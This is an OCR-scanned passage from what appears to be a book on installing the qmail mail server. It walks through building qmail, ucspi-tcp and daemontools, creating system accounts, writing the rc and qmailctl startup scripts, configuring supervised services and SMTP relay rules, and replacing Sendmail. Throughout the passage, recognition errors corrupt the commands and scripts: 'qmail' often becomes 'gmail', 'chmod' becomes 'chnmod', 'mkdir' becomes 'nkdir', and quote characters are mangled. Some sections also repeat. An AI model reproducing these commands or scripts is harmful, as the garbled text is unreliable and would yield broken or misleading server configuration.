gmai |l -start "'cat /var/qmail/control/defaultdelivery'"

Caution
Note that this script uses back quotes
(), whichlook alittle like sngle quotes

().

Execute this command:

# chnmod 755 /var/qmail/rc

Seethe" Choosing a Mailbox Format and Location" section for information about selecting adefault ddivery method.
Put the desired delivery ingtructionsinto /var/gmail/control/defaultddivery. For example, to select the standard gmall
Mailbox ddivery, dothis

# echo ./ Milbox > /var/qgmail/control/defaul tdelivery
11.
Ingtal gmailctl script.
Create the gmailctl script listed in the " System Startup Files" section of the detailed ingtdlation later in the chapter

using your editor or by downloading it from the book Web site. Ingtal it into the /var/gmail/bin directory with the
namegmailctl.

Make the script executable and link it to adirectory in your PATH:



# chrmod 755 /var/gnail/bin/qgmailctl
#1n -s /var/qgmail/bin/qmailctl /usr/local/sbin

12.

Update BSD-stylerc.locd.

On BSD-based systems, add the following to /etc/rc.loca:

if [ -x /var/gmail/bin/gmailctl ]; then
/var/qmail/bin/gmailctl start
fi

13.
Populate System V-styleinit.d.

On System V-based systems, symbolicaly link the gmailctl script to the appropriate startup directories. First isthe
init.d directory, which should be in one of the following locations:

[etc/init.d

[soin/init.d

letc/re.d/init.d
You'll dso needto link the script into acouple of rc directories. These directories are named likercN.d, where N is
the system runlevel to which they apply. There are many variationsin the startup directory treefor different operating

systems, soif you can't find the rc directories, consult your system documentation. They will probably bein one of
these:

[etc
/shin
[etc/rc.d

To create the links, execute the following commands, replacing INITDIR and RCDIR with the location of your
sysem'sinit.d and rc directories:

# In -s /var/qgmail/bin/qgmailctl | N TD R/ grai l
#1In -s ../init.d/ gmail RCDI R/rc0.d/ K30gmai |
#1In -s ../init.d/ gmail RCD R/rcl.d/ K30gmai l
#1In -s ../init.d/ gmail RCDI R/rc2.d/ S80gmai l



n-s ../init.d/ gmail RCDIR/rc3.d/ S80qgnui l
n-s ../init.d/ gmail RCDIR/rc4.d/ S80qgnui l
n-s ../init.d/ gmail RCDIR/rcbh.d/ S80gnui l
n-s ../init.d/ gmail RCDI R/ rc6.d/ K30gnai

Note
The numbersin the previous step are
highly system dependent, but somewhat
flexible. If Sendmall iscurrently
ingaled, running the command find
RCDIR -name "*sendmail” -print
will give you numbersthat should work

for your system.
14.
Set up the gmalil services.
Firg, create the supervise directories for the gmail services:
# nkdir -p /var/gmail/supervise/gmail-send/ | og
# nkdir -p /var/gmail/supervise/gmail-sntpd/| og
# chnmod +t /var/qgmail/supervise/gmil -send
# chnod +t /var/qgmail/supervise/gmail -snt pd
Using your editor, create the /var/gmail/supervise/gmail-send/run file:
#!/bin/sh
exec /var/qgmail/rc
Now cregte the var/gmail/supervise/gmail-send/log/run file:
#!'/ bi n/ sh
exec /usr/local/bin/setuidgid qmaill /usr/local/bin/multilog t /var/| og/gmai

Now create the /var/gmail/supervise/gmail-smtpd/run file:

#!/ bi n/ sh
# next three lines have backquotes ('), not single quotes (')
QW LDUID="id -u gmaild'
NOFI LESG D="id -g gmail d'
MAXSMIPD=' head -1 /var/qgmail/control/concurrencyi nconi ng'
exec /usr/local/bin/softlimt -m 2000000 \

/usr/local/bin/tcpserver -v -p -x /etc/tcp.sntp.cdb -c "$MAXSMIPD' \

-u "$QWAI LDUI D' -g "$NOFILESG D' 0 25 /var/qmail/bin/qgmail-sntpd 2>&1



Note
If youre using Solaris, the norma id
program won't work correctly in this
script. Instead of id, use
lusr/xpgd/bin/id; for example, use
QMAILDUID="/usr/xpg4/bin/id -u

gmaild' and
NOFILESGID="/usr/xpg4/bin/id -g
gmaild’

Cregte the concurrencyincoming contral file:

# echo 20 > /var/qmail/control/concurrencyi ncomn ng

# chnmod 644 /var/qmail/control/concurrencyi ncomn ng

Cregte the /var/gmail/supervise/lgmail-smtpd/log/run file:

#!/bin/sh

exec /usr/local/bin/setuidgid gnaill /usr/local/bin/multilog \

t var/log/qnail/smtpd

Maketherun files executable:

# chnmod 755 /var/qmail / supervi se/ qmail -send/ run
# chnmod 755 /var/qmail / supervi se/ qmai |l -send/ | og/ run
# chnmod 755 /var/qmail / supervi se/ qmail -snt pd/run
# chnmod 755 /var/qmail / supervi se/ qmail -sntpd/ 1 og/run

Set up thelogging directories:

# nkdir -p /var/log/ qmail/sntpd
# chown -R gmaill /var/log/qmail

Link the servicesinto /service

# In -s /var/gmail/supervise/gmail-send /var/gmail/supervise/gmail-sntpd /service

Note
gmail will gart automatically shortly
after you creste these links. If you don't
want apartialy configured mail system
running, do gmailctl stop now.

15.

Set up SMTP access control.



Because gmail-smtpd assumesthat all connections are from remote systems even those from the loca host, well
specificaly dlow thelocd host to relay:

# echo '127.:all ow, RELAYCLI ENT=""' > /etc/tcp.sntp
# gmailctl cdb

Note
RELAYCLIENT should be set to the
empty string with nothing between the
double quotes.

16.

Create system dliases.

Create diasesfor root, postmaster, and mailer-daemon. To do this, decide where you want each of them to go
(probably either your local account or aremote address) and create and popul ate the appropriate .gmail files. For
example, say local user ericaisthe mail administrator and jess ca@blossom.example.net isthe system administrator:

# echo \ & essi ca@®l ossom exanpl e. net > /var/qnuil/alias/.qmail-root

# echo \ &erica > /var/qmail/alias/.qgnmail-postnaster

#1n -s .qgnmail-postmaster /var/qmail/alias/.qmail-nail er-daenon

# chnod 644 /var/qnail/alias/.qmail-root /var/qmail/alias/.qgnail-postnaster

17.

Stop and disabletheingdled mailer.

If your existing MTA is Sendmail, and you're usng a System V variant, you should be ableto stop it by running its
init.d script with the stop argument. For example, one of these should work:

/etc/init.d/sendmail stop
/shin/init.d/sendmail sop
letc/re.dfinit.d/sendmail stop
If you can't find an init.d/sendmail script, or you're usng aBSD variant, you can locate Sendmail's process 1D (PID)

using ps-€f | grep sendmail or pswaux | grep sendmail and stop it using:

# kill process-1D- of -sendmai l

where process-| D-of-sendmail isthe PID of sendmail as displayed by the ps command.



If your MTA isn't Sendmail, check your documentation for the correct shutdown procedure.

Y ou should aso consider removing theold MTA completely from the system. At least disable theinit.d script or
comment the startup command out of /etc/rc.loca so it won't be restarted again when the system is rebooted.

For Red Hat Linux, for example, you can remove Sendmail by doing this:

# rpm-e --nodeps sendnmi l

Ingal gmail's sendmail interface for Sendmail compatibility:

# mv /usr/lib/sendmail /usr/lib/sendmail.old # ignore errors
# mv /usr/sbin/sendmail /usr/sbin/sendmil.old # ignore errors
# chnmod O /usr/lib/sendmail.old /usr/sbin/sendmail.old # ignore errors

# In -s /var/qgmail/bin/sendmail /usr/lib
# In -s /var/qgmail/bin/sendmail /usr/shin

18.

Start gmall.

If you stopped gmail after creating thelinksin /service, you should restart it now:

# gmailctl start

If anything goeswrong, you can waysdo this:

# gmail ctl stop

which will stop dl of thegmall services.

Tip
Theinst_check script located at the
officia book Webste (
http: //www.apress.com) can be used
to help ensurethat theingdlationis
correct before sarting gmail thefirst
time

19.

Tes theingdlation.

Send test messages to and from various combinations of valid and invalid local and remote users using local injection
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toolsand SMTP. Seethe detailed ingtructionsin the " Tedting the Ingtalation™ section for more information about how
to conduct these tests:

Loca user to local user

Loca user to nonexistent local address

Local user to valid remote address

Local user to local postmaster

Invaidloca user toinvalid loca user

Group membership test

SMTP sarver test

Remote user to local user

Remote user to invaid loca user

Mail user agent (MUA) test

Remote to postmaster

< Free Open Study >
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Installing gmail Step by Step

Now well go through the process of ingaling gmail step by step. This section is recommended for firg-time gmail
ingalers

Preparing for the Installation

Before you can ingtdl gmail, you should make sure you've got everything you need, including acompatible system,
sufficient disk space, the source-code tarba s for gmail and the two support packages, and aworking development
system.

Checking System Requirements

gmail will ingtal and run on most Unix and Unix-like systems, but there are afew requirements:

About 10 megabytes of free space in the build areaduring the build. After the build, you can free dl but 4
megabytes by removing the object files.

A complete, functioning C development system including acompiler, system heeder files, make or gmake,
and libraries. The build directionswill show you how to tell if you've got the necessary parts.

A few megabytesfor the binaries, documentation, and configuration files.

Sufficient disk space for the queue on an gppropriate file system. Small single-user systems only need a
couple megabytes. Large servers may need a couple gigabytes.

A compatible operating system. Mot flavors of Unix are acceptable. See the README filein the source
treefor alist of known compatible rel eases.

Accessto aDNSresolver is highly recommended. Without one, gmail can only send to remote systems
configured in its smtproutes configuration file.



Adeguate network connectivity. gmail was designed for well-connected systems, so you probably don't want
totry touseit for amailing list server on a28.8k did-up line. The seridmail package was designed to make
gmail more compatible with poorly connected systems. Seethe seriamail sectionin Appendix B, "Related
Packages," for moreinformation.

The gunzip utility from the gzip package (http:/Amww.gnu.org/directory/gzip.html).

Taking Some Sensible Advice

Beforeingdling gmail there are afew things you need to think about, especidly if thisisyour first gmail ingtalation:

If possible, ingtdl gmail ona"practice’ system. Thiswill give you a chance to make mistakes without losing
important mall or interrupting mail serviceto your users.

If you don't have a spare system, and your system isdready handling mail using Sendmail, Smail, or some
other MTA, you can ingtd| and test most pieces of gmail without interfering with the existing service.

When migrating a system from some other MTA to gmail-even if you've got some gmail experience-it'sa
good ideato formulate a plan. Some guidelines are contained in Chapter 7, "' Configuring gmail: Advanced
Options."

Verifying the Build Environment

The next thing you need to do is make sure you have the necessary tools to compile a program. How you determine
this depends on what flavor of Unix you're using. The easiest way to tell, dthough it's not guaranteed, isto try it.

At acommand-line prompt, type cc and press the Enter key:

$ cc
cc: No input files specified
$

If you get asimilar response, you have aC compiler in your path and you can skip to the next section, "L ocating the
Source."
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If you get an error likethis:

$ cc
sh: cc: command not found
$

This doesn't necessarily mean you don't have oneingaled. Y ou might, but maybe it isn't in your path. Of coursg, it
could also mean that you don't have one. Try using these:

Jusr/bin/cc

lusr/bin/gec

Jusr/local/bin/cc

lusr/local/bin/cc

Jusr/ccsbin/cc

If none of these works, you'll have to try something alittle more platform specific. For example, if you're using Red
Hat Linux:

rpm-ga | grep gcc or rpm-qga | grep egcs

If you can't find acompiler ingtalled, you'll have to locate one and ingtall it. Contact your operating system vendor or
other operating system support channel.

L ocating the Source

OK, s0 you've got asystem mesting the requirements ready for ingalling gmail. The first step isto download the
source code for gmail and any other add-ons. Y ou'll need gmail, ucspi-tcp, and daemontools:

gmail (ftp://cr.yp.to/software/lgmail-1.03.tar.gz)

ucspi-tep (ftp://cr.yp.to/ucspi-tep/ucspi-tcp-0.88.tar.gz)

daemontools (ftp://cr.yp.to/daemontool sdaemontool s-0.70.tar.gz)



Retrieve these files using your Web browser or FTP client.

Note
If any of theselinksfall, it's probably
because the package has been
updated. In that case, you should go to
http://cr.yp.to/software.html and
follow the links to download the current
verson. It's possible that upgraded
versons aren't compatible with the
following indructions, so be sureto
read the release notes in the "Upgrading
from previousversons. . ." sections of
the online documentation.

Building the Source

To usethe pizzaanalogy again, the recipe has now been selected. The ingredients and equipment have been located.
It'stimeto put on your apron, roll up your deeves, and start cooking.

Unpacking the Distribution

At this point, you've verified that you have aworking C compiler and you have copies of the source-code tarbalsfor
gmail, daemontools, and ucspi-tcp. Copy or move the tarballs to the directory in which you want to do the build.
/usr/local/sre isagood choice.

At thistime you probably want to become the superuser, if you are not aready:

$ su -
Passwor d: rootpassword (won't echo)
#

Copy or move the tarballs to the directory in which you want to do the build:

nkdir -p /usr/local/src
nv

#
# *.tar.gz /usr/local/src
#

Y ou've got al three packagesin /usr/local/src, so now you can unpack them.

Set your umask so the files and directories you cregate are publicly ble by default:
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# umask 022
#

Tip
The umask command isbuilt into the
shdll. For moreinformation, try help
umask or the man page for your shell;
for example, try man csh for the
C-Sdl.

Now uncompress and extract the sourcefiles:

# cd /usr/local/src

# gunzip gqmail-1.03.tar.gz

# tar xvf gmail-1.03.tar

grmai | -1. 03/

grai | - 1. 03/ BLURB

gmai | - 1. 03/ BLURB2

...lots of output followed by sonething like:
gmai | -1.03/tcp-environ. 5

gmai | -1. 03/ const map. h

gmai | - 1. 03/ const nap. ¢

# gunzip ucspi-tcp-0.88.tar.gz

# tar xvf ucspi-tcp-0.88.tar

ucspi -tcp-0. 88

ucspi -t cp- 0. 88/ READVE

ucspi -t cp-0. 88/ TODO

...lots of output followed by sonething like:
ucspi -t cp- 0. 88/ war n- aut 0. sh

ucspi -t cp- 0. 88/ war n- shsgr

ucspi -t cp-0. 88/ x86¢cpui d. c

# gunzi p daenont ool s-0.70.tar. gz

# tar xvf daenont ool s-0.70.tar
daenont ool s-0. 70

daenont ool s- 0. 70/ READVE
daenont ool s- 0. 70/ TODO

...lots of output followed by sonething |ike:
daenont ool s- 0. 70/ war n- aut 0. sh

daenont ool s- 0. 70/ war n- shsgr

daenont ool s- 0. 70/ x86¢cpui d. ¢

#rm*. tar # optional unless space is very tight
#

The gunzip commands are used to expand the compressed tarballsinto their full Sze and origind format. Thetar
commands extract the tarballs into the original source-code build directories. Once the tarballs are unpacked, they're
no longer needed, so we delete them.

There should now be subdirectories called gmail-1.03, ucspi-tcp-0.88, and daemontools-0.70.

Compile-Time Configuration Settings

Mogt of gmail's configuration settings are run-time sdectable. That meansthat they can be specified a thetimethe



associated program is run. Some, however, are compile-time selectable. To change them, you haveto first change
the setting, then re-compile and re-ingtd| the binaries. Fortunately, the compile-time settings rarely need to be
changed after theinitid ingtalation. The defaults are reasonable for dl but the most extreme ingdlations.

The compile-time configuration settingsin gmail are stored in fileswith names starting with conf- in the build
directory. Most of these settings congst of asingle vaue, which must gppear on the firgt line of thefile-no blank lines
or comments can appear before the setting. Those that require multiple settings, such as conf-users and conf-groups,
contain one setting per ling, again a the top of thefile. Table 2-2 ligtsthe compile-time settings, and Table 2-3 ligs
the gmail users configured in conf-users. Run-time configuration is covered in Chapter 3, "Configuring gmall: The
Bascs"

Table 2-2: Compile-Time Configuration Settings

FILE PURPOSE DEFAULT

conf-break The character used to separate user |-
names and extension addresses

conf-cc The compilation command cc-02

conf-groups The names of thetwo gmail-specific | gmail, nofiles
system groups

conf-ld Theload command cc-S

conf-patrn File accesshitsnot dlowed inhome /002 (world-writable)
directory or .gmail files

conf-gmail The gmail home, or madter, directory |var/gmall

conf-spawn The concurrency limit 120

conf-gplit The number of queue subdirectories |23 (should be prime)

conf-users The gmail-specific system user See Table 2-3
accounts

Table 2-3: Thegmail System Accounts
CONF-USERSLINE DESCRIPTION DEFAULT




1 Alissuser dias

2 Daemon user gmaild
3 Log user gmalll

4 Binary owner root

5 Password user gmalp
6 Queue user gmailq
7 Remote user gmalr
8 Send user gmalls

The only compile-time settings you're likely to change are conf-cc and conf-Id, which depend on the names and
locations of system utilities. Don't worry about changing these yet.

Creating Directories

Because gmail'sinstallation program creates the subdirectories as they're needed, you only need to create the master
gmail directory:

# nkdir /var/qgmail
#

If you want some or dl of the gmall filesto resde somewhere other than /var, this can be accomplished by creating
symbalic links under /var/gmail pointing to the other locations.

For example, say you want the man pages ingtaled under /usr/man, the control filesingtalled under /etc/gmail/contral,
and the binariesingtdled under /usr/shin. This could be achieved by doing this:

nkdir /var/gmail

In -s /usr/man /var/gmail/ man
nkdir /etc/qmail

In -s /etc/gmail /var/qmail/control
In -s /usr/sbin /var/qmail/bin

H o HH R



Thiswill ill dllow accessto these pieces viathe gmail sandard /var/gmail/man, var/gmail/control, and /var/gmail/bin

paths

Creating Users and Groups

The use of multiple system accountsis critical to gmail's security mode. Processes running under one account
(compartment) are prevented-using the normal Unix access control mechanisms-from modifying filesbelonging to
another account. Many versions of Unix provide utilities like adduser, useradd, or mkuser that make this easy.
Alternatively, you can manualy edit the password and group files and add them yoursdlf.

Linux/Solaris

groupadd nofil es

useradd -g nofiles -d /var/qmail/alias alias -s /nonexistent
useradd -g nofiles -d /var/qmail gmaild -s /nonexistent
useradd -g nofiles -d /var/qmail gmaill -s /nonexistent
useradd -g nofiles -d /var/qmail gmailp -s /nonexistent
groupadd gnai |

useradd -g qmail -d /var/qgmail gmailqg -s /nonexistent
useradd -g gqmail -d /var/qgmail gmailr -s /nonexistent
useradd -g gqmail -d /var/gmail gmails -s /nonexistent
FreeBSD

pw groupadd nofil es
pw useradd alias -g nofiles -d /var/qmail/alias -s /nonexistent

pw useradd gqmaild -g nofiles -d /var/qmail -s /nonexistent
pw useradd gqmaill -g nofiles -d /var/qmail -s /nonexistent
pw useradd gqmailp -g nofiles -d /var/qgmail -s /nonexistent
pw groupadd grai

pw useradd gqmailq -g qmail -d /var/gmail -s /nonexistent
pw useradd gmailr -g qmail -d /var/qgmail -s /nonexistent
pw useradd gmails -g qmail -d /var/gmail -s /nonexistent
AlX

nmkgroup -A nofiles

nkuser pgrp=nofiles honme=/var/qmail/alias shell=/bin/true alias
nkuser pgrp=nofiles honme=/var/qmail shell=/bin/true gmaild
nkuser pgrp=nofiles home=/var/qmail shell=/bin/true qgmaill
nkuser pgrp=nofiles honme=/var/qmail shell=/bin/true gmailp
nkgroup -A gnail

nkuser pgrp=qnail home=/var/gmail shell=/bin/true gnailq

nkuser pgrp=qnai |l hone=/var/qgmail|l shell=/bin/true gmailr

nkuser pgrp=qnail honme=/var/gmail shell=/bin/true gnails

Other Operating Systems



Start by using your favorite editor and editing /etc/group. Y ou need to add the following two linesto the end of the
file

gmai | : *: 2107:
nofiles:*:2108:

Caution
Make sure that 2107 and 2108 aren't
already used. If they are, choose two
group numbers not aready in use.

Next, using vipw (most systems haveit; if not, you'll need to use your editor again but thistime on /etc/passwd), add
these linesto theend of thefile:

alias:*:7790: 2108::/var/qmail/alias:/bin/true

grai | d: *:7791: 2108: : /var/ qmai |l : / bin/true

grai | | :*:7792: 2108: : /var/ qmai |l : / bin/true

gmai | p: *: 7793: 2108: : /var/ qmai |l : / bin/true

gmai | g: *: 7794: 2107: : /var/ qmai | : / bin/ true

gmai | r:*:7795: 2107: :/var/ qmail : / bin/true

gmai | s:*:7796: 2107: :/var/ qmail : / bin/true

Caution

Make sure 7790-7796 aren't already
used and that 2107 and 2108 are the
same group IDsyou used previoudly.

I nstalling gmail

Y ou're now ready to tart building gmail.

Inthe" Verifying the Build Environment" section, you located your C compiler. If it'snot called cc, or the directory it
resdesinisntinyour PATH environment variable, you'll need to edit the conf-cc and conf-Id build configuration
files. Say your compiler isgcc, andit'sin /opt/gnwbin, which isnot in your PATH. Smply edit conf-cc and conf-ld
and replace cc with /opt/gnw/bin/gec.

Now typethefollowing:

# cd /usr/local/src/qmail-1.03
# make setup check

The make command will usethefile called Makefile to determine which commands must be executed to compile and
ingtall the gmail programs, and it will execute those commands. Each command will be displayed asit is executed, as
will its output. Because building and ingtaling gmail requires executing hundreds of commands, thiswill result in lots of



output to the screen, if everything goesright. If thelast few lines of output look like the following, the build and
ingtallation were successtul:

nroff -man addresses.5 > addresses. O
nroff -man envel opes.5 > envel opes. 0
nroff -man forgeries.7 > forgeries.O
./install

. /i nstcheck

#

At this point, the gmail programs have been built and ingtdled in /var/gmail/bin, an empty queue has been set up
under /var/gmail/queue, and the documentation has been ingtdled in /var/gmail/doc and /var/gmail/man.

The next step isto create the basic configuration files under /var/gmail/control. Executing the config script doesthis.
For example, on ahost named mash in the domain example.com:

# ./config

Your hostnane is nash.

Your host's fully qualified name in DNS i s mash. exanpl e. com
Putting mash. exanpl e.cominto control/ne.

Putting mash. exanpl e.cominto control/defaul tdomain.

Putting mash. exanpl e.cominto control/plusdomain.

Checking |l ocal |P addresses:
127.0.0.1: Adding local host to control /Il ocal s.
192.168. 1. 8: Addi ng mash. exanmpl e.comto control/l ocals.

If there are any other domain nanes that point to you
you will have to add themto /var/qmail/control /Il ocals.
You don't have to worry about aliases, i.e., domains with CNAVE records.

Copying /var/qgmail/control/locals to /var/qmail/control/rcpthosts.

Now gmail will refuse to accept SMIP nessages except to those hosts.

Make sure to change rcpthosts if you add hosts to locals or virtual domai ns!
#

If config can't find your hostname in DNS-not /etc/hosts-you can instead run the config-fast script:

# ./config-fast the.full.hostnane

For example, if your domain is example.com and the host name of your computer is dolphin, the command would be:

# ./config-fast dol phin. exanpl e.com

Your fully qualified host nane is dol phin.exanpl e.com

Putting dol phi n. exanpl e.cominto control/ne.

Putting exanpl e.cominto control/defaultdomain.

Putting exanpl e.cominto control/plusdomain.

Putting dol phin. exanple.cominto control/locals.

Putting dol phin. exanple.cominto control/rcpthosts.

Now gmail will refuse to accept SMIP nessages except to dol phin. exanpl e. com
Make sure to change rcpthosts if you add hosts to locals or virtual domai ns!
#



gmail isnow ingtdled and partidly configured, but before you can run it you need to ingtal the ucspi-tcp and
daemontools hel per packages and finish configuring gmail.

| nstalling ucspi-tcp

Earlier, you unpacked the gmail, ucpsi-tcp, and daemontool s tarballs into /usr/local/src. Now change to the ucpsi-tcp
build directory:

# cd /usr/local/src/ucspi-tcp-0.88
#

Inthe previous section, if you modified conf-cc and conf-Id, you'll need to make the same changesin this directory.

Now build the binaries by executing this:

# nmake

Again, the make command will produce quite abit of output. Thelast few lines should look like this:

.lauto-str auto_hone 'head -1 conf-honme' > auto_hone.c
./ compile auto_hone.c

./load install hier.o auto_hone.o unix.a byte.a

./ compil e instcheck.c

./l oad instcheck hier.o auto_hone.o unix.a byte.a

#

Toingal the programs under /usr/locd/bin, do this.

# make setup check
./install
./instcheck

#

That'sit. ucspi-tcpisingaled.

Note
If the current version is newer than
0.88, check theingdlation ingtructions
on the ucspi-tcp Web page (
http: //cr.yp.to/ucspi-tcp.html ).

I nstalling daemontools


http://cr.yp.to/ucspi-tcp.html
http://cr.yp.to/ucspi-tcp.html

Change to the daemontools build directory:

# cd /usr/local/src/daenont ool s-0. 70
#

Onceagain, if you modified conf-cc and conf-Id during the gmail and ucspitcp builds, you'll need to make the same
changesin thisdirectory.

Then build the binaries by executing:

# nmake

Thelast few lines of output from this command should look like:

.lauto-str auto_hone 'head -1 conf-hone' > auto_hone.c
./ compil e auto_hone.c

./load install hier.o auto_hone.o unix.a byte.a

./ compil e instcheck.c

./l oad instcheck hier.o auto_hone.o unix.a byte.a

#

Toingal the programs under /usr/locd/bin, do this.

# make setup check
./install
./instcheck

#

Now creste the /service directory:

# nkdir /service
#

svscan will scan the /service directory. Each subdirectory, or symbolic link to adirectory, will be considered a
sarvice, and svscan will fork acopy of superviseto manage the service. Further in theingtdlation well create
symbalic linksin /servicefor the gmail service.

Next, set up svscan to run on the /service directory each time the system is booted. If your system has an /etc/inittab
(Linux or aSystem V, Release 4 derivative), add the following single line (with no line bresks) to the end of thefile:

SV: 123456: r espawn: env - PATH=/usr /| ocal /bin:/usr/sbin:/usr/bin:/bin svscan
/service </dev/null >/dev/console 2>/ dev/consol e



Then tel init to reread /etc/inittab by doing this:

# kill -HUP 1
#

On BSD-based systemsthat don't have an /etc/inittab, put the following in /etc/rc.locd, creating it if necessary, and
reboot the system:

env - PATH=/usr/local /bin:/usr/sbin:/usr/bin:/bin csh -cf 'svscan /service &

Use psto verify that svscan isrunning:

# ps -ef | grep svscan

r oot 805 1 0 Apr 28 ? 00: 00: 00 svscan

/ service

r oot 15939 8547 0 07: 47 pts/3 00: 00: 00 grep
svscan

#

or

# ps -waux | grep svscan

r oot 805 0.0 0.1 1368 372 ? S Apr 28 0: 00 svscan
/ service

r oot 15941 0.0 0.2 1624 616 pts/3 S 07: 48 0: 00 grep
svscan

#

Findly, run afew tests to make sure the tools work right. First run the automeatic test script:

# cd /usr/local/src/daenont ool s-0. 70
# ./rts > rts.out

# cnp rts.out rts.exp

#

The second line runsthe script and saves the output in rts.out. The third line compares the output with expected
output. If al the tests succeeded, the cmp command will generate no output. However, some System V Release 4
derivativeswill fail one of thelock tests. Thisisnormal. Now weéll check some of the time-stamp tools:

# date |./tai64n |./tai 64nloca

2001-03-16 21:46:17.890891500 Fri Mar 16 21:46:17 EST 2001
# date | sh -¢c '"./multilog t e 2>&1' |./tai64nl oca
2001-03-16 21:46:18. 063667500 Fri Mar 16 21:46:18 EST 2001
#



The date and time at the beginning of both lines of output should be within a second of the date and time &t the end of
theline.

Configuring gmail

All of the necessary software has now been compiled and installed. The next step isto completetheinitia
configuration of gmail. Chapter 3, "Configuring gmail: The Basics," covers configuration in more detail, and Chapter 7,
"Configuring gmail: Advanced Options," showsyou how to tailor your gmail ingtalation to meet your needs.

gmail Boot Script

The lvar/gmail/rc script isrun to start the long-running gmail daemons. gmail-send, gmail-clean, gmail-rspawn, and
gmail-Ispawn. It doesn't deal with short-lived daemons such as gmail-smtpd or gmail-pop3d-those will be handled
Separately.

In addition to starting the daemons, the boot script isimportant because it aso configures two things: the default
delivery ingtructions and the disposition of 1og messages from gmail-send.

The default ddivery ingructionstell gmail where and how to deliver auser'smail if they don't have a.gmail file that
gives specific ingructions. Normdly, the default delivery ingtructions are specified on the gmail-start command line,
but because these ingtructions can become rather involved in some ingtdlations, well put them in anew, nonstandard
control file called defaultadivery.

Inasmple gmail ingallation, the output of gmail-start would be directed ether to Sydog viathe splogger toal, or to
multilog, daemontools logging tool. Were going to go astep further and set gmail up as amanaged service with an
associated logging service, so welll just let gmail-start log to standard outpuit.

The /var/gmail/boot directory contains example gmail boot scriptsfor different configurations. /var/spool/mail vs.
$HOME/Mailbox, using Procmail or dot-forward, and various combinations of these. Fed free to examine these, but
for our ingtalation well usethe script in Listing 2-1.

Ligting 2-1: The /var/gmail/rc script
N

# Using stdout for |ogging
# Using control/defaultdelivery fromgnail-local to deliver nessages by default

DELI VERY=' cat /var/qgmail/control/defaul tdelivery'

if [ -z "$DELIVERY" ] ; then
echo "/var/qgmail/control/defaultdelivery is enpty or does not exist" 1>&
exit 1

fi

exec env - PATH="/var/qnuil/bin: $PATH' qmail -start "$DELI VERY"




Caution
Note that this script uses back quotes
('), which look alittle like single quotes

().

Useyour editor to create the previous /var/gmail/rc, then make the rc file executable:

# chnod 755 /var/qmail/rc
#

At this point you need to decide the default delivery mode for messagesthat aren't delivered by a.gmail file. Table
2-4 outlines some common choices.

Table 2-4: Mailbox Formats and L ocations

FORMAT NAME LOCATION DEFAULTDELIVE ICOMMENTS
RY

mbox Mailbox $HOME IMailbox Most common,
workswith most
MUAs

maildir Maildir $HOME IMalldir/ Morerdiable, less
MUA support

mbox username Ivar/spool/mail SeeINSTALL.vam | Traditiond Unix
mailbox

See" Choosing aMailbox Format and Location™ for more information about these choices.

To sdect your default mailbox type, just enter the defaultdelivery vauefrom thetableinto
Ivar/gmail/control/defaultdelivery. For example, to select the ssandard gmail Mailbox delivery, do this.

# echo ./ Mailbox > /var/qmail/control/defaul tdelivery
#

Note
defaultdelivery isn't astandard gmall
control file. It'saspecid feature of the
Ivar/gmail/rc file

System Startup Files



The gmall system startup files are used to start gmail automaticaly when the system is booted, shut it down cleanly
when the system is halted, and perform maintenance, control, and monitoring tasks while the system is running.

The gmailctl Script

If you were to manualy execute the /var/gmail/rc script, gmail would be partially started. But we want gmail started
up automaticaly every timethe system is booted, and we want it shut down cleanly when the system is halted.

Thisisaccomplished by cresting a.control script likethe onein Ligting 2-2.

Ligting 2-2: The gmailctl script

n/ sh

# For Red Hat chkconfig
# chkconfig: - 30 80
# description: the gmail MA

PATH=/ var/ qmai | / bi n: /usr/ 1 ocal / bin:/usr/bin:/bin
export PATH
LOG=/var /| og/ gmai | ct

echo 'date' 'tty' $* >$LOG
case "$1" in
start)
echo "Starting gmail"
if svok /service/gmail-send ; then
svc -u /service/gmail-send 2>&1 | tee -a $LOG
el se
echo gmmai |l -send service not running
f
if svok /service/gmail-sntpd ; then
svc -u /service/gmail-smpd 2>&1 | tee -a $LOG
el se
echo grail -snt pd service not running
f
if [ -d /var/lock/subsys ]; then
touch /var/| ock/ subsys/ gmai
f
st op)
echo " Stopping gnmail "
echo "gmail - snt pd"
svc -d /service/gmail-smpd 2>&1 | tee -a $LOG
echo "gmail - send"”
svc -d /service/gmail-send 2>&1 | tee -a $LOG
if [ -f /var/lock/subsys/qmail ]; then
rm/var/ | ock/ subsys/ qmai
fi echo "done"
stat)
svstat /service/gmil-send
svstat /service/qmil-send/|l og
svstat /service/qgmil-sntpd
svstat /service/gmail-sntpd/| og
gmai | - gst at

fl ush| doqueue| al rm
echo "Sending ALRM signal to qmail-send.”



svc -a /service/gnail-send 2>&1 | tee -a $LOG
queue)

gnmai | - gst at

gnmuai | - gread

r el oad| hup)
echo "Sending HUP signal to gnail-send.”
svc -h /service/gnail-send 2>&1 | tee -a $LOG
pause)
echo "Pausing gmail - send”
svc -p /service/gmil-send 2>&1 | tee -a $LOG
echo "Pausing gnail -snt pd"
svc -p /service/gmail-sntpd 2>&1 | tee -a $LOG
cont)
echo "Conti nui ng gmail - send"
svc -c /service/gnail-send 2>&1 | tee -a $LOG
echo "Continuing gnail -snt pd"
svc -c /service/gmail-sntpd 2>&1 | tee -a $LOG
restart)
echo "Restarting gmail"
echo "Stopping gnail-sntpd."
svc -d /service/gmail-sntpd 2>&1 | tee -a $LOG
echo "Sending gnail -send SI GTERM and restarting."
svc -t /service/gnail-send 2>&1 | tee -a $LOG
echo " Restarting qmail-sntpd."”
svc -u /service/gmail-sntpd 2>&1 | tee -a $LOG
echo "done"
cdb)
tcprules /etc/tcp.sntp.cdb /etc/tcp.smp.tnp < /etc/tcp.sntp 2>&1 | tee -a $LOG
chnod 644 /etc/tcp. sntp*
echo "Rel oaded /etc/tcp.sntp."

hel p)
cat <<HELP
stop -- stops mail service (sntp connections refused, nothing goes out)
start -- starts nmmil service (sntp connection accepted, nmail can go out)
pause -- tenporarily stops mail service (connections accepted, nothing | eaves)
cont -- continues paused mail service
stat -- displays status of mail service
cdb -- rebuild the tcpserver cdb file for sntp
restart -- stops and restarts smp, sends gqnail-send a TERM & restarts it
flush -- sends gmail-send ALRM schedul i ng queued nessages for delivery
rel oad -- sends gmail-send HUP, rereading |ocals and virtual domai ns
gueue -- shows status of queue
alrm-- sane as doqueue
hup -- same as rel oad
doqueue -- sane as flush
HELP
*) v
echo "Usage: $0 {start|stop|restart]|flush|rel oad|stat| pause| cont|cdb| queue
hel p}"
exit 1
esac
exit O




Note
Thisscript isalso availableon the
officia book Web site (
http://www.apress.com).

Create the script using your editor or by copying it from the Web gSite, theningal it into the /var/gmail/bin directory
with the name gmailctl.

